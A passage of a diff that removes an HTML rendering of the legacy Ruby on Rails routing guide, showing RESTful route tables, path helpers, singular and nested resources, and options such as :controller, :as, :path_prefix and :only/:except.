-    GET
-    </td>
-    <td align="left">
-    /photos/new
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    new
-    </td>
-    <td align="left">
-    return an HTML form for creating a new photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    POST
-    </td>
-    <td align="left">
-    /photos
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    create
-    </td>
-    <td align="left">
-    create a new photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos/1
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    show
-    </td>
-    <td align="left">
-    display a specific photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos/1/edit
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    edit
-    </td>
-    <td align="left">
-    return an HTML form for editing a photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    PUT
-    </td>
-    <td align="left">
-    /photos/1
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    update
-    </td>
-    <td align="left">
-    update a specific photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    DELETE
-    </td>
-    <td align="left">
-    /photos/1
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    destroy
-    </td>
-    <td align="left">
-    delete a specific photo
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="para"><p>For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as <tt>params[:id]</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you consistently use RESTful routes in your application, you should disable the default routes in <tt>routes.rb</tt> so that Rails will enforce the mapping between HTTP verbs and routes.</td>
-</tr></table>
-</div>
-<h3 id="_urls_and_paths">3.3. URLs and Paths</h3>
-<div class="para"><p>Creating a RESTful route will also make available a pile of helpers within your application:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>photos_url</tt> and <tt>photos_path</tt> map to the path for the index and create actions
-</p>
-</li>
-<li>
-<p>
-<tt>new_photo_url</tt> and <tt>new_photo_path</tt> map to the path for the new action
-</p>
-</li>
-<li>
-<p>
-<tt>edit_photo_url</tt> and <tt>edit_photo_path</tt> map to the path for the edit action
-</p>
-</li>
-<li>
-<p>
-<tt>photo_url</tt> and <tt>photo_path</tt> map to the path for the show, update, and destroy actions
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.</td>
-</tr></table>
-</div>
-<div class="para"><p>In each case, the <tt>_url</tt> helper generates a string containing the entire URL that the application will understand, while the <tt>_path</tt> helper generates a string containing the relative path from the root of the application. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>photos_url  <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "http://www.example.com/photos"</span></span>
-photos_path <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "/photos"</span></span>
-</tt></pre></div></div>
-<h3 id="_defining_multiple_resources_at_the_same_time">3.4. Defining Multiple Resources at the Same Time</h3>
-<div class="para"><p>If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to <tt>map.resources</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>books<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
-</tt></pre></div></div>
-<div class="para"><p>This has exactly the same effect as</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>videos
-</tt></pre></div></div>
-<h3 id="_singular_resources">3.5. Singular Resources</h3>
-<div class="para"><p>You can also apply RESTful routing to singleton resources within your application. In this case, you use <tt>map.resource</tt> instead of <tt>map.resources</tt> and the route generation is slightly different. For example, a routing entry of</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>geocoder
-</tt></pre></div></div>
-<div class="para"><p>creates six different routes in your application:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
-  <tr>
-    <th align="left">
-    HTTP verb
-    </th>
-    <th align="left">
-    URL
-    </th>
-    <th align="left">
-    controller
-    </th>
-    <th align="left">
-    action
-    </th>
-    <th align="left">
-    used for
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /geocoder/new
-    </td>
-    <td align="left">
-    Geocoders
-    </td>
-    <td align="left">
-    new
-    </td>
-    <td align="left">
-    return an HTML form for creating the new geocoder
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    POST
-    </td>
-    <td align="left">
-    /geocoder
-    </td>
-    <td align="left">
-    Geocoders
-    </td>
-    <td align="left">
-    create
-    </td>
-    <td align="left">
-    create the new geocoder
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /geocoder
-    </td>
-    <td align="left">
-    Geocoders
-    </td>
-    <td align="left">
-    show
-    </td>
-    <td align="left">
-    display the one and only geocoder resource
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /geocoder/edit
-    </td>
-    <td align="left">
-    Geocoders
-    </td>
-    <td align="left">
-    edit
-    </td>
-    <td align="left">
-    return an HTML form for editing the geocoder
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    PUT
-    </td>
-    <td align="left">
-    /geocoder
-    </td>
-    <td align="left">
-    Geocoders
-    </td>
-    <td align="left">
-    update
-    </td>
-    <td align="left">
-    update the one and only geocoder resource
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    DELETE
-    </td>
-    <td align="left">
-    /geocoder
-    </td>
-    <td align="left">
-    Geocoders
-    </td>
-    <td align="left">
-    destroy
-    </td>
-    <td align="left">
-    delete the geocoder resource
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Even though the name of the resource is singular in <tt>routes.rb</tt>, the matching controller is still plural.</td>
-</tr></table>
-</div>
-<div class="para"><p>A singular RESTful route generates an abbreviated set of helpers:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>new_geocoder_url</tt> and <tt>new_geocoder_path</tt> map to the path for the new action
-</p>
-</li>
-<li>
-<p>
-<tt>edit_geocoder_url</tt> and <tt>edit_geocoder_path</tt> map to the path for the edit action
-</p>
-</li>
-<li>
-<p>
-<tt>geocoder_url</tt> and <tt>geocoder_path</tt> map to the path for the create, show, update, and destroy actions
-</p>
-</li>
-</ul></div>
-<h3 id="_customizing_resources">3.6. Customizing Resources</h3>
-<div class="para"><p>Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:controller</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:singular</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:requirements</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:as</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:path_names</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:path_prefix</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:name_prefix</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:only</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:except</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>You can also add additional routes via the <tt>:member</tt> and <tt>:collection</tt> options, which are discussed later in this guide.</p></div>
-<h4 id="_using_controller">3.6.1. Using :controller</h4>
-<div class="para"><p>The <tt>:controller</tt> option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span>
-</tt></pre></div></div>
-<div class="para"><p>will recognize incoming URLs containing <tt>photo</tt> but route the requests to the Images controller:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
-  <tr>
-    <th align="left">
-    HTTP verb
-    </th>
-    <th align="left">
-    URL
-    </th>
-    <th align="left">
-    controller
-    </th>
-    <th align="left">
-    action
-    </th>
-    <th align="left">
-    used for
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    index
-    </td>
-    <td align="left">
-    display a list of all images
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos/new
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    new
-    </td>
-    <td align="left">
-    return an HTML form for creating a new image
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    POST
-    </td>
-    <td align="left">
-    /photos
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    create
-    </td>
-    <td align="left">
-    create a new image
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos/1
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    show
-    </td>
-    <td align="left">
-    display a specific image
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos/1/edit
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    edit
-    </td>
-    <td align="left">
-    return an HTML form for editing a image
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    PUT
-    </td>
-    <td align="left">
-    /photos/1
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    update
-    </td>
-    <td align="left">
-    update a specific image
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    DELETE
-    </td>
-    <td align="left">
-    /photos/1
-    </td>
-    <td align="left">
-    Images
-    </td>
-    <td align="left">
-    destroy
-    </td>
-    <td align="left">
-    delete a specific image
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
-</tr></table>
-</div>
-<h3 id="_controller_namespaces_and_routing">3.7. Controller Namespaces and Routing</h3>
-<div class="para"><p>Rails allows you to group your controllers into namespaces by saving them in folders underneath <tt>app/controllers</tt>. The <tt>:controller</tt> option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the <tt>admin</tt> folder:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin/photos"</span>
-</tt></pre></div></div>
-<div class="para"><p>If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the <tt>adminphoto_path</tt> helper, and you follow a link generated with <tt>&lt;%= link_to "show", adminphoto(1) %&gt;</tt> you will end up on the view generated by <tt>admin/photos/show</tt> but you will also end up in the same place if you have <tt>&lt;%= link_to "show", {:controller &#8658; "photos", :action &#8658; "show"} %&gt;</tt> because Rails will generate the show URL relative to the current URL.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <tt>&lt;%= link_to "show", {:controller &#8658; "/photos", :action &#8658; "show"} %&gt;</tt></td>
-</tr></table>
-</div>
-<div class="para"><p>You can also specify a controller namespace with the <tt>:namespace</tt> option instead of a path:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span>
-</tt></pre></div></div>
-<div class="para"><p>This can be especially useful when combined with <tt>with_options</tt> to map multiple namespaced routes together:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>with_options<span style="color: #990000">(:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
-  admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>That would give you routing for <tt>admin/photos</tt> and <tt>admin/videos</tt> controllers.</p></div>
-<h4 id="_using_singular">3.7.1. Using :singular</h4>
-<div class="para"><p>If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the <tt>:singular</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>teeth<span style="color: #990000">,</span> <span style="color: #990000">:</span>singular <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"tooth"</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Depending on the other code in your application, you may prefer to add additional rules to the <tt>Inflector</tt> class instead.</td>
-</tr></table>
-</div>
-<h4 id="_using_requirements">3.7.2. Using :requirements</h4>
-<div class="para"><p>You an use the <tt>:requirements</tt> option in a RESTful route to impose a format on the implied <tt>:id</tt> parameter in the singular routes. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z][A-Z][0-9]+/</span><span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, <tt>/photos/1</tt> would no longer be recognized by this route, but <tt>/photos/RR27</tt> would.</p></div>
-<h4 id="_using_conditions">3.7.3. Using :conditions</h4>
-<div class="para"><p>Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)</p></div>
-<h4 id="_using_as">3.7.4. Using :as</h4>
-<div class="para"><p>The <tt>:as</tt> option lets you override the normal naming for the actual generated paths. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span>
-</tt></pre></div></div>
-<div class="para"><p>will recognize incoming URLs containing <tt>image</tt> but route the requests to the Photos controller:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
-  <tr>
-    <th align="left">
-    HTTP verb
-    </th>
-    <th align="left">
-    URL
-    </th>
-    <th align="left">
-    controller
-    </th>
-    <th align="left">
-    action
-    </th>
-    <th align="left">
-    used for
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /images
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    index
-    </td>
-    <td align="left">
-    display a list of all photos
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /images/new
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    new
-    </td>
-    <td align="left">
-    return an HTML form for creating a new photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    POST
-    </td>
-    <td align="left">
-    /images
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    create
-    </td>
-    <td align="left">
-    create a new photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /images/1
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    show
-    </td>
-    <td align="left">
-    display a specific photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /images/1/edit
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    edit
-    </td>
-    <td align="left">
-    return an HTML form for editing a photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    PUT
-    </td>
-    <td align="left">
-    /images/1
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    update
-    </td>
-    <td align="left">
-    update a specific photo
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    DELETE
-    </td>
-    <td align="left">
-    /images/1
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    destroy
-    </td>
-    <td align="left">
-    delete a specific photo
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
-</tr></table>
-</div>
-<h4 id="_using_path_names">3.7.5. Using :path_names</h4>
-<div class="para"><p>The <tt>:path_names</tt> option lets you override the automatically-generated "new" and "edit" segments in URLs:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_names <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This would cause the routing to recognize URLs such as</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/photos/make
-/photos/1/change</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>resources_path_names <span style="color: #990000">=</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<h4 id="_using_path_prefix">3.7.6. Using :path_prefix</h4>
-<div class="para"><p>The <tt>:path_prefix</tt> option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span>
-</tt></pre></div></div>
-<div class="para"><p>Routes recognized by this entry would include:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/photographers/1/photos/2
-/photographers/1/photos</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You can also use <tt>:path_prefix</tt> with non-RESTful routes.</td>
-</tr></table>
-</div>
-<h4 id="_using_name_prefix">3.7.7. Using :name_prefix</h4>
-<div class="para"><p>You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use <tt>:path_prefix</tt> to map differently. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photographer_'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/agencies/:agency_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'agency_'</span>
-</tt></pre></div></div>
-<div class="para"><p>This combination will give you route helpers such as <tt>photographer_photos_path</tt> and <tt>agency_edit_photo_path</tt> to use in your code.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You can also use <tt>:name_prefix</tt> with non-RESTful routes.</td>
-</tr></table>
-</div>
-<h4 id="_using_only_and_except">3.7.8. Using :only and :except</h4>
-<div class="para"><p>By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune this behavior. The <tt>:only</tt> option specifies that only certain routes should be generated:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, a <tt>GET</tt> request to <tt>/photos</tt> would succeed, but a <tt>POST</tt> request to <tt>/photos</tt> (which would ordinarily be routed to the create action) will fail.</p></div>
-<div class="para"><p>The <tt>:except</tt> option specifies a route or list of routes that should <em>not</em> be generated:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy
-</tt></pre></div></div>
-<div class="para"><p>In this case, all of the normal routes except the route for <tt>destroy</tt> (a <tt>DELETE</tt> request to <tt>/photos/<em>id</em></tt>) will be generated.</p></div>
-<div class="para"><p>In addition to an action or a list of actions, you can also supply the special symbols <tt>:all</tt> or <tt>:none</tt> to the <tt>:only</tt> and <tt>:except</tt> options.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If your application has many RESTful routes, using <tt>:only</tt> and <tt>:accept</tt> to generate only the routes that you actually need can cut down on memory use and speed up the routing process.</td>
-</tr></table>
-</div>
-<h3 id="_nested_resources">3.8. Nested Resources</h3>
-<div class="para"><p>It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Magazine <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_many <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Ad <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>magazine
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
-  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="274" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
-  <tr>
-    <th align="left">
-    HTTP verb
-    </th>
-    <th align="left">
-    URL
-    </th>
-    <th align="left">
-    controller
-    </th>
-    <th align="left">
-    action
-    </th>
-    <th align="left">
-    used for
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
